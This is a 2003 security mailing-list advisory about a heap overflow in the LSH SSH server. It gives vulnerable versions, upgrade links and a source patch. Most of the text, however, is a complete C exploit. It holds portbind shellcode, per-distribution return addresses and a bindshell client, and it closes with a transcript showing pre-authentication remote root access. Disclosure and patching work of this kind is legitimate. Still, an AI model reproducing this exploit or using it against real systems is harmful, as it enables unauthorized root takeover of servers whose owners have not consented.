[UNIX] LSH Vulnerable to Remote Root Compromise (channel_commands, read_line)
From: SecuriTeam (support_at_securiteam.com)
Date: 09/21/03
- Previous message: SecuriTeam: "[NT] Directory Traversal Vulnerability in Plug & Play Web Server"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 21 Sep 2003 12:55:07 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
LSH Vulnerable to Remote Root Compromise (channel_commands, read_line)
------------------------------------------------------------------------
SUMMARY
A heap buffer overrun has been fixed in the LSH package, the vulnerability
is known to allow remote root compromise. The following exploit code can
be used to test your system for the mentioned vulnerability.
DETAILS
Vulnerable systems:
* LSH versions prior to LSH version 1.4.3
* LSH version 1.5
* LSH version 1.5.1
* LSH version 1.5.2
Immune systems:
* LSH version 1.4.3 (stable release)
* LSH version 1.5.3 (development release)
Solution:
All users of lsh and lshd should upgrade, and in case you cannot upgrade
lshd immediately, you are *strongly* advised to disable lshd service.
The releases can be downloaded from
<http://www.lysator.liu.se/~nisse/archive/lsh-1.4.3.tar.gz>
http://www.lysator.liu.se/~nisse/archive/lsh-1.4.3.tar.gz
<http://www.lysator.liu.se/~nisse/archive/lsh-1.4.2-1.4.3.diff.gz>
http://www.lysator.liu.se/~nisse/archive/lsh-1.4.2-1.4.3.diff.gz
<http://www.lysator.liu.se/~nisse/archive/lsh-1.5.3.tar.gz>
http://www.lysator.liu.se/~nisse/archive/lsh-1.5.3.tar.gz
<ftp://ftp.lysator.liu.se/pub/security/lsh/lsh-1.4.3.tar.gz>
ftp://ftp.lysator.liu.se/pub/security/lsh/lsh-1.4.3.tar.gz
<ftp://ftp.lysator.liu.se/pub/security/lsh/lsh-1.4.2-1.4.3.diff.gz>
ftp://ftp.lysator.liu.se/pub/security/lsh/lsh-1.4.2-1.4.3.diff.gz
<ftp://ftp.lysator.liu.se/pub/security/lsh/lsh-1.5.3.tar.gz>
ftp://ftp.lysator.liu.se/pub/security/lsh/lsh-1.5.3.tar.gz
Patch:
diff -urN lsh-1.4.2/src/channel_commands.c
lsh-1.4.3/src/channel_commands.c
--- lsh-1.4.2/src/channel_commands.c Thu Sep 27 08:29:44 2001
+++ lsh-1.4.3/src/channel_commands.c Fri Sep 19 14:15:37 2003
@@ -57,6 +57,7 @@
make_channel_open_exception(
SSH_OPEN_RESOURCE_SHORTAGE,
"Allocating a local channel number failed."));
+ return;
}
channel = NEW_CHANNEL(self, connection, index, &request); diff -urN
lsh-1.4.2/src/client_keyexchange.c lsh-1.4.3/src/client_keyexchange.c
--- lsh-1.4.2/src/client_keyexchange.c Wed Mar 13 17:05:28 2002
+++ lsh-1.4.3/src/client_keyexchange.c Fri Sep 19 16:37:59 2003
@@ -268,6 +268,7 @@
{
lsh_string_free(salt);
disconnect_kex_failed(connection, "Bye");
+ return;
}
mpz_init(x);
@@ -282,8 +283,11 @@
mpz_clear(x);
if (!response)
- PROTOCOL_ERROR(connection->e,
- "SRP failure: Invalid public value from server.");
+ {
+ PROTOCOL_ERROR(connection->e,
+ "SRP failure: Invalid public value from server.");
+ return;
+ }
C_WRITE_NOW(connection, response);
--- lsh-1.4.2/src/read_line.c Fri Aug 4 01:51:32 2000
+++ lsh-1.4.3/src/read_line.c Fri Sep 19 14:22:29 2003
@@ -98,6 +98,8 @@
/* Too long line */
EXCEPTION_RAISE(self->e,
make_protocol_exception(0, "Line too long."));
+
+ return available;
}
/* Ok, now we have a line. Copy it into the buffer. */
Exploit:
/*
Rough and ready exploit for lsh 1.4.x (other versions ?)
by Haggis aka Carl Livitt - carl.learningshophull@co@uk
Spawns bindshell on port 45295 of remote host.
I suspect the overflow that this exploits is actually part
of the liboop library that lsh uses... I haven't even looked.
I just wanted to get this out the door to stop all the lsh
lovers crooning about how they weren't getting 0wn3d like
the openssh users might be.
Yes, this 0day is real. Yes, it's pre-authentication.
Handily, it also bypasses non-exec stack protection as the
shellcode is on the heap.
NOTE: This 0day public exploit _only_ works if it's the first
thing to connect to the lshd daemon after it has been started.
Any other time, it is just a DoS. Run it a few times against
a host running lshd to see what I mean.
Greets to B-r00t, kraft, marshal-l, ruxor, force5 and everyone
else on #cheese at doris.scriptkiddie.net.
----
haggis@sol:~/exploits/research/lsh/lsh-1.4.2/src> netcat localhost 22
SSH-2.0-lshd_1.4.1 lsh - a free ssh
haggis@sol:~/exploits/research/lsh/lsh-1.4.2/src> ./lsh_exploit -t
localhost
LSH 1.4.x (others?) exploit by Haggis (haggis@haggis.kicks-ass.net)
[-] Building exploit buffer...
[-] Sending exploit string...
[-] Sleeping...
[-] Connecting to bindshell...
[-] Success!!! You should now be r00t on localhost
id
uid=0(root) gid=0(root) groups=0(root)
----
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <time.h>
#include <stdarg.h>
#define SSH_PORT 22
#define SIZ 8096
#define EXPLOIT_BUF_SIZE 1536 // just approximate - works well enough
#define NOPS_LEN 1600
// So I ripped this from one of my previous exploits for speed...
//
// The following shellcode had 0x3f (?) chars in it which
// cause termination of our HTTP GET before the whole
// shellcode is written to the stack. The 0x3f's are
// needed because they are the dup2() syscall numbers. So,
// I've changed them to 0x3e's and INC'd them before doing
// an INT 0x80. Other than that, this shellcode is eSDee's.
// --------
// linux x86 shellcode by eSDee of Netric (www.netric.org)
// 200 byte - forking portbind shellcode - port=0xb0ef(45295)
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xb0\xef\xb3\x02\x66"
"\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66"
"\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50"
"\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31"
"\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57"
"\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
"\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
"\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\x80"
"\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"
"\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
struct
{
char *platform;
unsigned long retAddr;
}
targets[]=
{
{ "SuSE 8.1 - LSH v1.4.x (default)", 0x0809f030},
{ "RedHat 7.3 - LSH v1.4.x", 0x0809d620},
NULL
};
void my_send(int, char *, ...);
void my_recv(int);
int connect_to_host(int);
void my_sleep(int n);
int do_bind_shell();
struct hostent *hostStruct;
char buf[SIZ], host[SIZ]="\0";
int useTarget=0;
// yeah yeah, i could enumerate the targets from the
// struct above. Whatever.
char usage[]=
"Usage: ./lsh_exploit -t <host> [-T host_type]\n\n"
"Available types are:\n"
" 0. SuSE 8.1 / LSH 1.4.x (default)\n"
" 1. RedHat 7.3 / LSH 1.4.x\n\n";
main(int argc, char **argv)
{
int ch, i, targetSock;
unsigned long *retPtr;
char *charRetPtr;
printf("LSH 1.4.x (others?) exploit by Haggis
(haggis@haggis.kicks-ass.net)\n\n");
while((ch=getopt(argc, argv, "t:T:h"))!=-1) {
switch(ch) {
case 't':
strncpy(host, optarg, SIZ-1);
break;
case 'T':
useTarget=atoi(optarg);
break;
case 'h':
default:
printf("%s\n",usage);
printf("Available platforms:\n");
for(i=0;targets[i].platform;i++)
printf("%2d. %s\n", i, targets[i].platform);
printf("\n");
exit(0);
break;
}
}
if(host[0]=='\0') {
printf("[*] You must specify a host!\n");
exit(1);
}
if((hostStruct=gethostbyname(host))==NULL) {
printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n",
host,argv[0]);
exit(1);
}
if((targetSock=connect_to_host(SSH_PORT))==-1) {
printf("[*] Couln't connect to host %s\n", host);
exit(1);
}
// check port 45295 just incase we've already successfuly exploited this
host
if(do_bind_shell()==1) {
exit(0);
}
printf("[-] Building exploit buffer...\n");
my_recv(targetSock);
retPtr=(unsigned long *)buf;
for(i=0;i<EXPLOIT_BUF_SIZE/4;i++)
*(retPtr++)=targets[useTarget].retAddr;
for(i=0;i<NOPS_LEN/4;i++)
*(retPtr++)=(unsigned long)0x90909090;
charRetPtr=(unsigned char *)retPtr;
memcpy(charRetPtr, shellcode, strlen(shellcode));
*(charRetPtr+strlen(shellcode))='\n';
*(charRetPtr+strlen(shellcode)+1)='\0';
printf("[-] Sending exploit string...\n");
my_send(targetSock, buf);
close(targetSock);
printf("[-] Sleeping...\n");
my_sleep(100000);
printf("[-] Connecting to bindshell...\n");
if(do_bind_shell()==-1)
printf("[*] Could not connect to %s - the exploit failed\n", host);
exit(0);
}
int do_bind_shell()
{
fd_set rfds;
int sock,retVal,r;
if((sock=connect_to_host(45295))==-1)
return -1;
printf("[-] Success!!! You should now be r00t on %s\n", host);
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
retVal=select(sock+1, &rfds, NULL, NULL, NULL);
if(retVal) {
if(FD_ISSET(sock, &rfds)) {
// bad!
buf[(r=recv(sock, buf, SIZ-1,0))]='\0';
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, SIZ-1))]='\0';// bad!
send(sock, buf, strlen(buf), 0);
}
}
} while(retVal && r); // loop until connection terminates
close(sock);
return 1;
}
// Given a port number, connects to an already resolved hostname...
// connects a TCP stream and returns a socket number (or returns error)
int connect_to_host(int p)
{
int sock;
struct sockaddr_in saddr;
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
return -1;
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
saddr.sin_port=htons(p);
if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
close(sock);
return -1;
} else
return sock;
}
// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...)
{
va_list ap;
char *buf;
va_start(ap,b);
vasprintf(&buf,b,ap);
send(s,buf,strlen(buf),0);
va_end(ap);
free(buf);
}
// Another handy function to read data from a socket.
void my_recv(int s)
{
int len;
char buf[SIZ];
len=recv(s, buf, SIZ-1, 0);
buf[len]=0;
}
// Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
void my_sleep(int n)
{
struct timespec t;
t.tv_sec=0;
t.tv_nsec=n;
nanosleep(&t,&t);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:nisse@lysator.liu.se> Niels
Möller and <mailto:haggis@learningshophull.co.uk> Haggis.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Directory Traversal Vulnerability in Plug & Play Web Server"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [NEWS] Ventrilo Denial of Service
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Lack of proper packet handling
within Ventrilo allow attackers to crash ... void ventrilo_udp_head_dec(unsigned char
*data) ... void ventrilo_udp_data_dec(unsigned char *data, int len, unsigned short ...
(Securiteam) - [EXPL] qwik-smtpd Format String
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... ** The second problem was "fixed"
using another char and then ... ** calling the int 0x80 syscall. ... void
Usage; ... (Securiteam) - [EXPL] mtFTPd Server Format String (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... / discovered by darkeagle
- xx.10.04 ... build_un(unsigned int retaddr, unsigned int offset, unsigned int base, ...
main(int argc, char * argv) ... (Securiteam) - [EXPL] Samba "send_mailslot()" Buffer Overflow Vulnerability (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... void put_name(char *dest,
const char *name, int pad, unsigned int ... (Securiteam) - [EXPL] Crystal FTP Pro Client LIST Proof of Concept
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... unsigned char reverseshell[]
= ... void auth; ... void handle_cmd (int s, int connfd, char* ip); ...
(Securiteam)